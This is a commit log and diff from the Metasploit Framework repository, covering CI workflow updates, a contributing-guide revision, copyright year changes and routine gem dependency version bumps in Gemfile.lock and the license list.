h00die e689d85c92 additional specs for packages 2025-02-19 16:40:07 -05:00
h00die da06e5ad90 additional specs for packages 2025-02-19 16:23:16 -05:00
h00die b328d3f318 better specs for packages lib 2025-02-19 15:15:18 -05:00
h00die 1bb9fc94ec compile spec fixes 2025-02-18 16:43:19 -05:00
h00die 4bb8c30180 post linux spec fixes 2025-02-12 15:34:13 -05:00
h00die 66f49c25bd post linux spec fixes 2025-02-12 15:15:09 -05:00
Ashley Donaldson e024c115f3 Don't do any escaping on platforms with unknown escaping 2025-01-10 11:20:28 +11:00
h00die 2e3661a07b rubocop specs 2024-12-21 13:20:27 -05:00
h00die 262e4b8c13 ignore sleeps 2024-12-21 13:19:15 -05:00
Ashley Donaldson 851beb77b0 Change from code review
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2024-12-20 08:48:38 +11:00
Ashley Donaldson 25cb21908a Apply escaping args to other command shells 2024-12-18 10:44:38 +11:00
Ashley Donaldson c6e3df85bb Report creds to DB 2024-12-17 17:01:27 +11:00
Ashley Donaldson 7badd24b72 Removed unused sccm file 2024-12-17 17:01:27 +11:00
Ashley Donaldson 4c7d1d8079 Changes from code review 2024-12-17 17:01:27 +11:00
Ashley Donaldson ad44afee01 Rubocop fixes 2024-12-17 17:01:27 +11:00
Ashley Donaldson a11616d189 Add support for older encryptions 2024-12-17 17:01:27 +11:00
Ashley Donaldson 556e52d1d2 Add missing option docs 2024-12-17 17:01:27 +11:00
Ashley Donaldson 335825a020 Search for all policies with secrets, rather than just NAAConfig 2024-12-17 17:01:27 +11:00
Ashley Donaldson c2495aff58 Properly support there being no NAA creds 2024-12-17 17:01:27 +11:00
Ashley Donaldson 0a45480c49 Properly support multiple NAA creds 2024-12-17 17:01:27 +11:00
Ashley Donaldson 6054d7c5ce Better error handling for NAA 2024-12-17 17:01:26 +11:00
Ashley Donaldson d52874ac46 Allow sessions to be not required. Added documentation. 2024-12-17 17:01:26 +11:00
Ashley Donaldson 6ec6909850 MsfTidy fixes 2024-12-17 17:01:26 +11:00
Ashley Donaldson a8a782eb2e Get working without autodiscovery
Added proper credits for the original research.
2024-12-17 17:01:26 +11:00
Ashley Donaldson fd3f313c64 Report multiple NAA creds, if present 2024-12-17 17:01:26 +11:00
Ashley Donaldson 03a4acf7d0 Rubocop fixes 2024-12-17 17:01:26 +11:00
Ashley Donaldson 76c29831fa Working NAA retrieval on recent SCCM 2024-12-17 17:01:26 +11:00
Ashley Donaldson 2d7985b511 Add crypto structures 2024-12-17 17:01:26 +11:00
Ashley Donaldson 5dd55f0af4 Add initial NAA-cred-snarfing code. 2024-12-17 17:01:26 +11:00
h00die 80d15ae86d more specs and progress 2024-12-11 17:52:07 -05:00
h00die 9ccc0a3070 lib spec progress 2024-12-05 15:40:57 -05:00
h00die cde660065c more specs for linux post libraries 2024-12-01 20:00:58 -05:00
h00die 61705db8be more specs for linux post libraries 2024-11-27 16:07:40 -05:00
h00die b9c8c63501 lib post linux comments and specs 2024-11-26 19:00:14 -05:00
305 changed files with 31103 additions and 53348 deletions
+13 -2
View File
@@ -64,7 +64,7 @@ jobs:
matrix:
os:
- windows-2019
- ubuntu-20.04
- ubuntu-latest
ruby:
- '3.2'
include:
@@ -73,7 +73,7 @@ jobs:
- { command_shell: { name: powershell }, os: windows-2022 }
# Linux
- { command_shell: { name: linux }, os: ubuntu-20.04 }
- { command_shell: { name: linux }, os: ubuntu-latest }
# CMD
- { command_shell: { name: cmd }, os: windows-2019 }
@@ -126,7 +126,13 @@ jobs:
with:
path: metasploit-framework
# https://github.com/orgs/community/discussions/26952
- name: Support longpaths
if: runner.os == 'Windows'
run: git config --system core.longpaths true
- name: Setup Ruby
run: git config --system core.longpaths true
env:
BUNDLE_FORCE_RUBY_PLATFORM: true
uses: ruby/setup-ruby@v1
@@ -175,6 +181,11 @@ jobs:
if: always()
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
# https://github.com/orgs/community/discussions/26952
- name: Support longpaths
if: runner.os == 'Windows'
run: git config --system core.longpaths true
- name: Setup Ruby
if: always()
env:
+5
View File
@@ -45,6 +45,11 @@ jobs:
- name: Checkout code
uses: actions/checkout@v4
# https://github.com/orgs/community/discussions/26952
- name: Support longpaths
if: runner.os == 'Windows'
run: git config --system core.longpaths true
- name: Setup Ruby
uses: ruby/setup-ruby@v1
with:
+10
View File
@@ -72,6 +72,11 @@ jobs:
docker compose build
docker compose up --wait -d
# https://github.com/orgs/community/discussions/26952
- name: Support longpaths
if: runner.os == 'Windows'
run: git config --system core.longpaths true
- name: Setup Ruby
env:
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
@@ -121,6 +126,11 @@ jobs:
if: always()
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
# https://github.com/orgs/community/discussions/26952
- name: Support longpaths
if: runner.os == 'Windows'
run: git config --system core.longpaths true
- name: Setup Ruby
if: always()
env:
+10
View File
@@ -82,6 +82,11 @@ jobs:
- name: Checkout code
uses: actions/checkout@v4
# https://github.com/orgs/community/discussions/26952
- name: Support longpaths
if: runner.os == 'Windows'
run: git config --system core.longpaths true
- name: Setup Ruby
env:
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
@@ -138,6 +143,11 @@ jobs:
if: always()
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
# https://github.com/orgs/community/discussions/26952
- name: Support longpaths
if: runner.os == 'Windows'
run: git config --system core.longpaths true
- name: Setup Ruby
if: always()
env:
+10
View File
@@ -80,6 +80,11 @@ jobs:
- name: Checkout code
uses: actions/checkout@v4
# https://github.com/orgs/community/discussions/26952
- name: Support longpaths
if: runner.os == 'Windows'
run: git config --system core.longpaths true
- name: Setup Ruby
env:
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
@@ -137,6 +142,11 @@ jobs:
if: always()
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
# https://github.com/orgs/community/discussions/26952
- name: Support longpaths
if: runner.os == 'Windows'
run: git config --system core.longpaths true
- name: Setup Ruby
if: always()
env:
+10
View File
@@ -82,6 +82,11 @@ jobs:
- name: Checkout code
uses: actions/checkout@v4
# https://github.com/orgs/community/discussions/26952
- name: Support longpaths
if: runner.os == 'Windows'
run: git config --system core.longpaths true
- name: Setup Ruby
env:
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
@@ -139,6 +144,11 @@ jobs:
if: always()
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
# https://github.com/orgs/community/discussions/26952
- name: Support longpaths
if: runner.os == 'Windows'
run: git config --system core.longpaths true
- name: Setup Ruby
if: always()
env:
@@ -69,12 +69,12 @@ jobs:
os:
- macos-13
- windows-2019
- ubuntu-20.04
- ubuntu-latest
ruby:
- '3.2'
meterpreter:
# Python
- { name: python, runtime_version: 3.6 }
- { name: python, runtime_version: 3.8 }
- { name: python, runtime_version: 3.11 }
# Java
@@ -92,7 +92,7 @@ jobs:
# Mettle
- { meterpreter: { name: mettle }, os: macos-13 }
- { meterpreter: { name: mettle }, os: ubuntu-20.04 }
- { meterpreter: { name: mettle }, os: ubuntu-latest }
runs-on: ${{ matrix.os }}
@@ -190,7 +190,13 @@ jobs:
path: metasploit-framework
ref: ${{ inputs.metasploit_framework_commit }}
# https://github.com/orgs/community/discussions/26952
- name: Support longpaths
if: runner.os == 'Windows'
run: git config --system core.longpaths true
- name: Setup Ruby
run: git config --system core.longpaths true
env:
BUNDLE_FORCE_RUBY_PLATFORM: true
# Required for macos13 pg gem compilation
@@ -344,6 +350,11 @@ jobs:
if: always()
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
# https://github.com/orgs/community/discussions/26952
- name: Support longpaths
if: runner.os == 'Windows'
run: git config --system core.longpaths true
- name: Setup Ruby
if: always()
env:
@@ -74,6 +74,11 @@ jobs:
docker compose build
docker compose up --wait -d
# https://github.com/orgs/community/discussions/26952
- name: Support longpaths
if: runner.os == 'Windows'
run: git config --system core.longpaths true
- name: Setup Ruby
env:
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
@@ -143,6 +148,11 @@ jobs:
if: always()
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
# https://github.com/orgs/community/discussions/26952
- name: Support longpaths
if: runner.os == 'Windows'
run: git config --system core.longpaths true
- name: Setup Ruby
if: always()
env:
+5 -1
View File
@@ -64,7 +64,6 @@ jobs:
- '3.3'
- '3.4'
os:
- ubuntu-20.04
- ubuntu-latest
include:
- os: ubuntu-latest
@@ -89,6 +88,11 @@ jobs:
- name: Checkout code
uses: actions/checkout@v4
# https://github.com/orgs/community/discussions/26952
- name: Support longpaths
if: runner.os == 'Windows'
run: git config --system core.longpaths true
- name: Setup Ruby
env:
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
+8 -1
View File
@@ -22,6 +22,8 @@ Once you have finished your new module and tested it locally to ensure it's work
Finally, follow our short list of do's and don'ts below to make sure your valuable contributions actually make it into Metasploit's master branch! We try to consider all our pull requests fairly and in detail, but if you do not follow these rules, your contribution
will be closed. We need to ensure the code we're adding to master is written to a high standard.
## Expedited Module Creation Process
We strive to respect the community that has given us so much, so in the odd situation where we get multiple submissions for the same vulnerability, generally we will work with the first person who assigns themselves to the issue or the first person that submits a good-faith PR. A good-faith PR might not even work, but it will show that the author is working their way toward a solution. Despite this general rule, there are rare circumstances where we may ask a contributor to step aside or allow a committer to take the lead on the creation of a new module if a complete and working module with documents has not already been submitted. This kind of expedited module creation process comes up infrequently, and usually it involves high-profile or high priority modules that we have marked internally as time-critical: think KEV list, active exploitation campaigns, CISA announcements, etc. In those cases, we may ask a contributor that is assigned to the issue or who has submitted an incomplete module to allow a committer to take over an issue or a module PR in the interest of getting a module out quickly. If a contributor has submitted an incomplete module, they will remain as a co-author of the module and we may build directly onto the PR they submitted, leaving the original commits in the tree. We sincerely hope that the original author will remain involved in this expedited module creation process. We would appreciate testing, critiquing, and any assistance that can be offered. If the module is complete but requires minor changes, we may ask the contributor to allow us to take over testing/verification and make these minor changes without asking so we can land the module as quickly as possible. In these cases of minor code changes, the authorship of the module will remain unchanged. We hope everyone involved in this expedited module creation process continues to feel valued and appreciated.
### Code Contribution Do's & Don'ts:
@@ -40,13 +42,18 @@ Keeping the following in mind gives your contribution the best chance of landing
* **Do** target your pull request to the **master branch**.
* **Do** specify a descriptive title to make searching for your pull request easier.
* **Do** include [console output], especially for effects that can be witnessed in the `msfconsole`.
* **Do** list [verification steps] so your code is testable.
* **Do** test your code.
* **Do** list [verification steps] so committers can test your code.
* **Do** [reference associated issues] in your pull request description.
* **Don't** leave your pull request description blank.
* **Don't** include sensitive information in your PR (including externally-routable IP addresses in documentation).
* **Don't** PR untested/unvalidated code you copy/pasted from the internet.
* **Don't** PR untested/unvalidated code you copy/pasted from AI or LLM.
* **Don't** abandon your pull request. Being responsive helps us land your code faster.
* **Don't** post questions in older closed PRs.
#### <u>New Modules</u>
* **Do** check the issue tracker to see if there is a `suggestion-module` issue for the module you want to write, and assign yourself to it if there is.
* **Do** license your code as BSD 3-clause, BSD 2-clause, or MIT.
* **Do** stick to the [Ruby style guide] and use [Rubocop] to find common style issues.
* **Do** set up `msftidy` to fix any errors or warnings that come up as a [pre-commit hook].
+1 -1
View File
@@ -1,4 +1,4 @@
Copyright (C) 2006-2020, Rapid7, Inc.
Copyright (C) 2006-2025, Rapid7, Inc.
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
+2 -2
View File
@@ -37,8 +37,8 @@ group :development, :test do
# environment is development
gem 'rspec-rails'
gem 'rspec-rerun'
# Required during CI as well local development
gem 'rubocop'
# Required during CI as well local development - pinned due to CI failure on: rubocop-1.73.2/lib/rubocop/config_loader.rb:272:in `read'
gem 'rubocop', '1.67.0'
end
group :test do
+121 -115
View File
@@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (6.4.52)
metasploit-framework (6.4.56)
aarch64
abbrev
actionpack (~> 7.0.0)
@@ -71,7 +71,7 @@ PATH
pg
puma
railties
rasn1 (= 0.13.0)
rasn1 (= 0.14.0)
rb-readline
recog
redcarpet
@@ -94,6 +94,7 @@ PATH
rex-struct2
rex-text
rex-zip
rinda
ruby-macho
ruby-mysql
ruby_smb (~> 3.3.3)
@@ -118,29 +119,29 @@ PATH
GEM
remote: https://rubygems.org/
specs:
Ascii85 (1.1.1)
Ascii85 (2.0.1)
aarch64 (2.1.0)
racc (~> 1.6)
abbrev (0.1.2)
actionpack (7.0.8.6)
actionview (= 7.0.8.6)
activesupport (= 7.0.8.6)
actionpack (7.0.8.7)
actionview (= 7.0.8.7)
activesupport (= 7.0.8.7)
rack (~> 2.0, >= 2.2.4)
rack-test (>= 0.6.3)
rails-dom-testing (~> 2.0)
rails-html-sanitizer (~> 1.0, >= 1.2.0)
actionview (7.0.8.6)
activesupport (= 7.0.8.6)
actionview (7.0.8.7)
activesupport (= 7.0.8.7)
builder (~> 3.1)
erubi (~> 1.4)
rails-dom-testing (~> 2.0)
rails-html-sanitizer (~> 1.1, >= 1.2.0)
activemodel (7.0.8.6)
activesupport (= 7.0.8.6)
activerecord (7.0.8.6)
activemodel (= 7.0.8.6)
activesupport (= 7.0.8.6)
activesupport (7.0.8.6)
activemodel (7.0.8.7)
activesupport (= 7.0.8.7)
activerecord (7.0.8.7)
activemodel (= 7.0.8.7)
activesupport (= 7.0.8.7)
activesupport (7.0.8.7)
concurrent-ruby (~> 1.0, >= 1.0.2)
i18n (>= 1.6, < 2)
minitest (>= 5.1)
@@ -148,54 +149,54 @@ GEM
addressable (2.8.7)
public_suffix (>= 2.0.2, < 7.0)
afm (0.2.2)
allure-rspec (2.24.5)
allure-ruby-commons (= 2.24.5)
allure-rspec (2.26.0)
allure-ruby-commons (= 2.26.0)
rspec-core (>= 3.8, < 4)
allure-ruby-commons (2.24.5)
allure-ruby-commons (2.26.0)
mime-types (>= 3.3, < 4)
require_all (>= 2, < 4)
rspec-expectations (~> 3.12)
uuid (>= 2.3, < 3)
arel-helpers (2.15.0)
activerecord (>= 3.1.0, < 8)
arel-helpers (2.16.0)
activerecord (>= 3.1.0, < 8.1)
ast (2.4.2)
aws-eventstream (1.3.0)
aws-partitions (1.999.0)
aws-sdk-core (3.211.0)
aws-eventstream (1.3.2)
aws-partitions (1.1065.0)
aws-sdk-core (3.220.1)
aws-eventstream (~> 1, >= 1.3.0)
aws-partitions (~> 1, >= 1.992.0)
aws-sigv4 (~> 1.9)
base64
jmespath (~> 1, >= 1.6.1)
aws-sdk-ec2 (1.486.0)
aws-sdk-core (~> 3, >= 3.210.0)
aws-sdk-ec2 (1.511.0)
aws-sdk-core (~> 3, >= 3.216.0)
aws-sigv4 (~> 1.5)
aws-sdk-ec2instanceconnect (1.52.0)
aws-sdk-core (~> 3, >= 3.210.0)
aws-sdk-ec2instanceconnect (1.55.0)
aws-sdk-core (~> 3, >= 3.216.0)
aws-sigv4 (~> 1.5)
aws-sdk-iam (1.112.0)
aws-sdk-core (~> 3, >= 3.210.0)
aws-sdk-iam (1.119.0)
aws-sdk-core (~> 3, >= 3.216.0)
aws-sigv4 (~> 1.5)
aws-sdk-kms (1.95.0)
aws-sdk-core (~> 3, >= 3.210.0)
aws-sdk-kms (1.99.0)
aws-sdk-core (~> 3, >= 3.216.0)
aws-sigv4 (~> 1.5)
aws-sdk-s3 (1.169.0)
aws-sdk-core (~> 3, >= 3.210.0)
aws-sdk-s3 (1.182.0)
aws-sdk-core (~> 3, >= 3.216.0)
aws-sdk-kms (~> 1)
aws-sigv4 (~> 1.5)
aws-sdk-ssm (1.183.0)
aws-sdk-core (~> 3, >= 3.210.0)
aws-sdk-ssm (1.191.0)
aws-sdk-core (~> 3, >= 3.216.0)
aws-sigv4 (~> 1.5)
aws-sigv4 (1.10.1)
aws-sigv4 (1.11.0)
aws-eventstream (~> 1, >= 1.0.2)
base64 (0.2.0)
bcrypt (3.1.20)
bcrypt_pbkdf (1.1.1)
benchmark (0.4.0)
bigdecimal (3.1.8)
bigdecimal (3.1.9)
bindata (2.4.15)
bootsnap (1.18.4)
msgpack (~> 1.2)
bson (5.0.1)
bson (5.0.2)
builder (3.3.0)
byebug (11.1.3)
chunky_png (1.4.0)
@@ -203,14 +204,16 @@ GEM
concurrent-ruby (1.3.4)
cookiejar (0.3.4)
crass (1.0.6)
csv (3.3.0)
csv (3.3.2)
daemons (1.4.1)
date (3.4.1)
debug (1.8.0)
irb (>= 1.5.0)
reline (>= 0.3.1)
diff-lcs (1.5.1)
dnsruby (1.72.2)
diff-lcs (1.6.0)
dnsruby (1.72.4)
base64 (~> 0.2.0)
logger (~> 1.6.5)
simpleidn (~> 0.2.1)
docile (1.4.1)
domain_name (0.6.20240107)
@@ -227,10 +230,10 @@ GEM
em-socksify (0.3.3)
base64
eventmachine (>= 1.0.0.beta.4)
erubi (1.13.0)
erubi (1.13.1)
eventmachine (1.2.7)
factory_bot (6.5.0)
activesupport (>= 5.0.0)
factory_bot (6.5.1)
activesupport (>= 6.1.0)
factory_bot_rails (6.4.4)
factory_bot (~> 6.5)
railties (>= 5.0.0)
@@ -250,6 +253,7 @@ GEM
fiddle (1.1.6)
filesize (0.2.0)
fivemat (1.3.7)
forwardable (1.3.3)
getoptlong (0.2.1)
gssapi (1.3.1)
ffi (>= 1.0.1)
@@ -261,38 +265,38 @@ GEM
hrr_rb_ssh-ed25519 (0.4.2)
ed25519 (~> 1.2)
hrr_rb_ssh (>= 0.4)
http-cookie (1.0.7)
http-cookie (1.0.8)
domain_name (~> 0.5)
http_parser.rb (0.8.0)
httpclient (2.8.3)
i18n (1.14.6)
httpclient (2.9.0)
mutex_m
i18n (1.14.7)
concurrent-ruby (~> 1.0)
io-console (0.7.2)
io-console (0.8.0)
ipaddr (1.2.7)
irb (1.7.4)
reline (>= 0.3.6)
jmespath (1.6.2)
jsobfu (0.4.2)
rkelly-remix
json (2.7.5)
language_server-protocol (3.17.0.3)
json (2.10.2)
language_server-protocol (3.17.0.4)
little-plugger (1.1.4)
logger (1.6.1)
logger (1.6.6)
logging (2.4.0)
little-plugger (~> 1.1)
multi_json (~> 1.14)
loofah (2.23.1)
loofah (2.24.0)
crass (~> 1.0.2)
nokogiri (>= 1.12.0)
macaddr (1.7.2)
systemu (~> 2.6.5)
memory_profiler (1.1.0)
metasm (1.0.5)
metasploit-concern (5.0.3)
metasploit-concern (5.0.4)
activemodel (~> 7.0)
activesupport (~> 7.0)
railties (~> 7.0)
zeitwerk
metasploit-credential (6.0.11)
metasploit-credential (6.0.14)
metasploit-concern
metasploit-model
metasploit_data_models (>= 5.0.0)
@@ -302,12 +306,12 @@ GEM
rex-socket
rubyntlm
rubyzip
metasploit-model (5.0.2)
metasploit-model (5.0.3)
activemodel (~> 7.0)
activesupport (~> 7.0)
railties (~> 7.0)
metasploit-payloads (2.0.189)
metasploit_data_models (6.0.6)
metasploit_data_models (6.0.9)
activerecord (~> 7.0)
activesupport (~> 7.0)
arel-helpers
@@ -322,17 +326,17 @@ GEM
mime-types (3.6.0)
logger
mime-types-data (~> 3.2015)
mime-types-data (3.2024.1001)
mime-types-data (3.2025.0304)
mini_portile2 (2.8.8)
minitest (5.25.1)
minitest (5.25.5)
mqtt (0.6.0)
msgpack (1.6.1)
multi_json (1.15.0)
mustermann (3.0.3)
ruby2_keywords (~> 0.0.1)
mutex_m (0.2.0)
mutex_m (0.3.0)
nessus_rest (0.1.6)
net-imap (0.5.0)
net-imap (0.5.6)
date
net-protocol
net-ldap (0.19.0)
@@ -340,13 +344,13 @@ GEM
timeout
net-sftp (4.0.0)
net-ssh (>= 5.0.0, < 8.0.0)
net-smtp (0.5.0)
net-smtp (0.5.1)
net-protocol
net-ssh (7.3.0)
network_interface (0.0.4)
nexpose (7.3.0)
nio4r (2.7.4)
nokogiri (1.18.2)
nokogiri (1.18.3)
mini_portile2 (~> 2.8.2)
racc (~> 1.4)
nori (2.7.1)
@@ -361,13 +365,13 @@ GEM
packetfu (2.0.0)
pcaprub (~> 0.13.1)
parallel (1.26.3)
parser (3.3.5.0)
parser (3.3.7.1)
ast (~> 2.4.1)
racc
patch_finder (1.0.2)
pcaprub (0.13.3)
pdf-reader (2.12.0)
Ascii85 (~> 1.0)
pdf-reader (2.14.1)
Ascii85 (>= 1.0, < 3.0, != 2.0.0)
afm (~> 0.2.1)
hashery (~> 2.0)
ruby-rc4
@@ -380,97 +384,101 @@ GEM
byebug (~> 11.0)
pry (>= 0.13, < 0.15)
public_suffix (6.0.1)
puma (6.4.3)
puma (6.6.0)
nio4r (~> 2.0)
racc (1.8.1)
rack (2.2.10)
rack (2.2.13)
rack-protection (3.2.0)
base64 (>= 0.1.0)
rack (~> 2.2, >= 2.2.4)
rack-test (2.1.0)
rack-test (2.2.0)
rack (>= 1.3)
rails-dom-testing (2.2.0)
activesupport (>= 5.0.0)
minitest
nokogiri (>= 1.6)
rails-html-sanitizer (1.6.0)
rails-html-sanitizer (1.6.2)
loofah (~> 2.21)
nokogiri (~> 1.14)
railties (7.0.8.6)
actionpack (= 7.0.8.6)
activesupport (= 7.0.8.6)
nokogiri (>= 1.15.7, != 1.16.7, != 1.16.6, != 1.16.5, != 1.16.4, != 1.16.3, != 1.16.2, != 1.16.1, != 1.16.0.rc1, != 1.16.0)
railties (7.0.8.7)
actionpack (= 7.0.8.7)
activesupport (= 7.0.8.7)
method_source
rake (>= 12.2)
thor (~> 1.0)
zeitwerk (~> 2.5)
rainbow (3.1.1)
rake (13.2.1)
rasn1 (0.13.0)
rasn1 (0.14.0)
strptime (~> 0.2.5)
rb-readline (0.5.5)
recog (3.1.11)
recog (3.1.14)
nokogiri
redcarpet (3.6.0)
regexp_parser (2.9.2)
reline (0.5.10)
redcarpet (3.6.1)
regexp_parser (2.10.0)
reline (0.6.0)
io-console (~> 0.5)
require_all (3.0.0)
rex-arch (0.1.16)
rex-arch (0.1.18)
rex-text
rex-bin_tools (0.1.9)
rex-bin_tools (0.1.10)
metasm
rex-arch
rex-core
rex-struct2
rex-text
rex-core (0.1.32)
rex-encoder (0.1.7)
rex-encoder (0.1.8)
metasm
rex-arch
rex-text
rex-exploitation (0.1.40)
rex-exploitation (0.1.41)
jsobfu
metasm
rex-arch
rex-encoder
rex-text
rexml
rex-java (0.1.7)
rex-mime (0.1.8)
rex-java (0.1.8)
rex-mime (0.1.11)
rex-text
rex-nop (0.1.3)
rex-nop (0.1.4)
rex-arch
rex-ole (0.1.8)
rex-ole (0.1.9)
rex-text
rex-powershell (0.1.100)
rex-powershell (0.1.101)
rex-random_identifier
rex-text
ruby-rc4
rex-random_identifier (0.1.13)
rex-random_identifier (0.1.15)
rex-text
rex-registry (0.1.5)
rex-rop_builder (0.1.5)
rex-registry (0.1.6)
rex-rop_builder (0.1.6)
metasm
rex-core
rex-text
rex-socket (0.1.58)
rex-socket (0.1.59)
dnsruby
rex-core
rex-sslscan (0.1.10)
rex-sslscan (0.1.11)
rex-core
rex-socket
rex-text
rex-struct2 (0.1.4)
rex-text (0.2.59)
rex-zip (0.1.5)
rex-struct2 (0.1.5)
rex-text (0.2.60)
rex-zip (0.1.6)
rex-text
rexml (3.3.9)
rexml (3.4.1)
rinda (0.2.0)
drb
forwardable
ipaddr
rkelly-remix (0.0.7)
rspec (3.13.0)
rspec-core (~> 3.13.0)
rspec-expectations (~> 3.13.0)
rspec-mocks (~> 3.13.0)
rspec-core (3.13.2)
rspec-core (3.13.3)
rspec-support (~> 3.13.0)
rspec-expectations (3.13.3)
diff-lcs (>= 1.2.0, < 2.0)
@@ -478,7 +486,7 @@ GEM
rspec-mocks (3.13.2)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.13.0)
rspec-rails (7.0.1)
rspec-rails (7.1.1)
actionpack (>= 7.0)
activesupport (>= 7.0)
railties (>= 7.0)
@@ -488,7 +496,7 @@ GEM
rspec-support (~> 3.13)
rspec-rerun (1.1.0)
rspec (~> 3.0)
rspec-support (3.13.1)
rspec-support (3.13.2)
rubocop (1.67.0)
json (~> 2.3)
language_server-protocol (>= 3.17.0)
@@ -499,10 +507,10 @@ GEM
rubocop-ast (>= 1.32.2, < 2.0)
ruby-progressbar (~> 1.7)
unicode-display_width (>= 2.4.0, < 3.0)
rubocop-ast (1.33.0)
rubocop-ast (1.38.1)
parser (>= 3.3.1.0)
ruby-macho (4.1.0)
ruby-mysql (4.1.0)
ruby-mysql (4.2.0)
ruby-prof (1.4.2)
ruby-progressbar (1.13.0)
ruby-rc4 (0.1.5)
@@ -515,7 +523,7 @@ GEM
windows_error (>= 0.1.4)
rubyntlm (0.6.5)
base64
rubyzip (2.3.2)
rubyzip (2.4.1)
sawyer (0.9.2)
addressable (>= 2.3.5)
faraday (>= 0.17.3, < 3)
@@ -534,30 +542,28 @@ GEM
sshkey (3.0.0)
strptime (0.2.5)
swagger-blocks (3.0.0)
systemu (2.6.5)
test-prof (1.4.2)
test-prof (1.4.4)
thin (1.8.2)
daemons (~> 1.0, >= 1.0.9)
eventmachine (~> 1.0, >= 1.0.4)
rack (>= 1, < 3)
thor (1.3.2)
tilt (2.4.0)
tilt (2.6.0)
timecop (0.9.10)
timeout (0.4.1)
timeout (0.4.3)
ttfunk (1.8.0)
bigdecimal (~> 3.1)
tzinfo (2.0.6)
concurrent-ruby (~> 1.0)
tzinfo-data (1.2024.2)
tzinfo-data (1.2025.1)
tzinfo (>= 1.0.0)
unicode-display_width (2.6.0)
unix-crypt (1.3.1)
uuid (2.3.9)
macaddr (~> 1.0)
warden (1.2.9)
rack (>= 2.0.9)
webrick (1.8.2)
websocket-driver (0.7.6)
webrick (1.9.1)
websocket-driver (0.7.7)
base64
websocket-extensions (>= 0.1.0)
websocket-extensions (0.1.5)
win32api (0.1.0)
@@ -578,7 +584,7 @@ GEM
xmlrpc (0.3.3)
webrick
yard (0.9.37)
zeitwerk (2.6.18)
zeitwerk (2.7.2)
PLATFORMS
ruby
@@ -596,7 +602,7 @@ DEPENDENCIES
redcarpet
rspec-rails
rspec-rerun
rubocop
rubocop (= 1.67.0)
ruby-prof (= 1.4.2)
simplecov (= 0.18.2)
test-prof
+1 -1
View File
@@ -2,7 +2,7 @@ Format: https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
Source: https://www.metasploit.com/
Files: *
Copyright: 2006-2020, Rapid7, Inc.
Copyright: 2006-2025, Rapid7, Inc.
License: BSD-3-clause
# The Metasploit Framework is provided under the 3-clause BSD license provided
+86 -89
View File
@@ -1,36 +1,36 @@
This file is auto-generated by tools/dev/update_gem_licenses.sh
Ascii85, 1.1.1, MIT
Ascii85, 2.0.1, MIT
aarch64, 2.1.0, "Apache 2.0"
abbrev, 0.1.2, "ruby, Simplified BSD"
actionpack, 7.0.8.6, MIT
actionview, 7.0.8.6, MIT
activemodel, 7.0.8.6, MIT
activerecord, 7.0.8.6, MIT
activesupport, 7.0.8.6, MIT
actionpack, 7.0.8.7, MIT
actionview, 7.0.8.7, MIT
activemodel, 7.0.8.7, MIT
activerecord, 7.0.8.7, MIT
activesupport, 7.0.8.7, MIT
addressable, 2.8.7, "Apache 2.0"
afm, 0.2.2, MIT
allure-rspec, 2.24.5, "Apache 2.0"
allure-ruby-commons, 2.24.5, "Apache 2.0"
arel-helpers, 2.15.0, MIT
allure-rspec, 2.26.0, "Apache 2.0"
allure-ruby-commons, 2.26.0, "Apache 2.0"
arel-helpers, 2.16.0, MIT
ast, 2.4.2, MIT
aws-eventstream, 1.3.0, "Apache 2.0"
aws-partitions, 1.999.0, "Apache 2.0"
aws-sdk-core, 3.211.0, "Apache 2.0"
aws-sdk-ec2, 1.486.0, "Apache 2.0"
aws-sdk-ec2instanceconnect, 1.52.0, "Apache 2.0"
aws-sdk-iam, 1.112.0, "Apache 2.0"
aws-sdk-kms, 1.95.0, "Apache 2.0"
aws-sdk-s3, 1.169.0, "Apache 2.0"
aws-sdk-ssm, 1.183.0, "Apache 2.0"
aws-sigv4, 1.10.1, "Apache 2.0"
aws-eventstream, 1.3.2, "Apache 2.0"
aws-partitions, 1.1065.0, "Apache 2.0"
aws-sdk-core, 3.220.1, "Apache 2.0"
aws-sdk-ec2, 1.511.0, "Apache 2.0"
aws-sdk-ec2instanceconnect, 1.55.0, "Apache 2.0"
aws-sdk-iam, 1.119.0, "Apache 2.0"
aws-sdk-kms, 1.99.0, "Apache 2.0"
aws-sdk-s3, 1.182.0, "Apache 2.0"
aws-sdk-ssm, 1.191.0, "Apache 2.0"
aws-sigv4, 1.11.0, "Apache 2.0"
base64, 0.2.0, "ruby, Simplified BSD"
bcrypt, 3.1.20, MIT
bcrypt_pbkdf, 1.1.1, MIT
benchmark, 0.4.0, "ruby, Simplified BSD"
bigdecimal, 3.1.8, "ruby, Simplified BSD"
bigdecimal, 3.1.9, "ruby, Simplified BSD"
bindata, 2.4.15, "Simplified BSD"
bootsnap, 1.18.4, MIT
bson, 5.0.1, "Apache 2.0"
bson, 5.0.2, "Apache 2.0"
builder, 3.3.0, MIT
bundler, 2.5.10, MIT
byebug, 11.1.3, "Simplified BSD"
@@ -39,12 +39,12 @@ coderay, 1.1.3, MIT
concurrent-ruby, 1.3.4, MIT
cookiejar, 0.3.4, "Simplified BSD"
crass, 1.0.6, MIT
csv, 3.3.0, "ruby, Simplified BSD"
csv, 3.3.2, "ruby, Simplified BSD"
daemons, 1.4.1, MIT
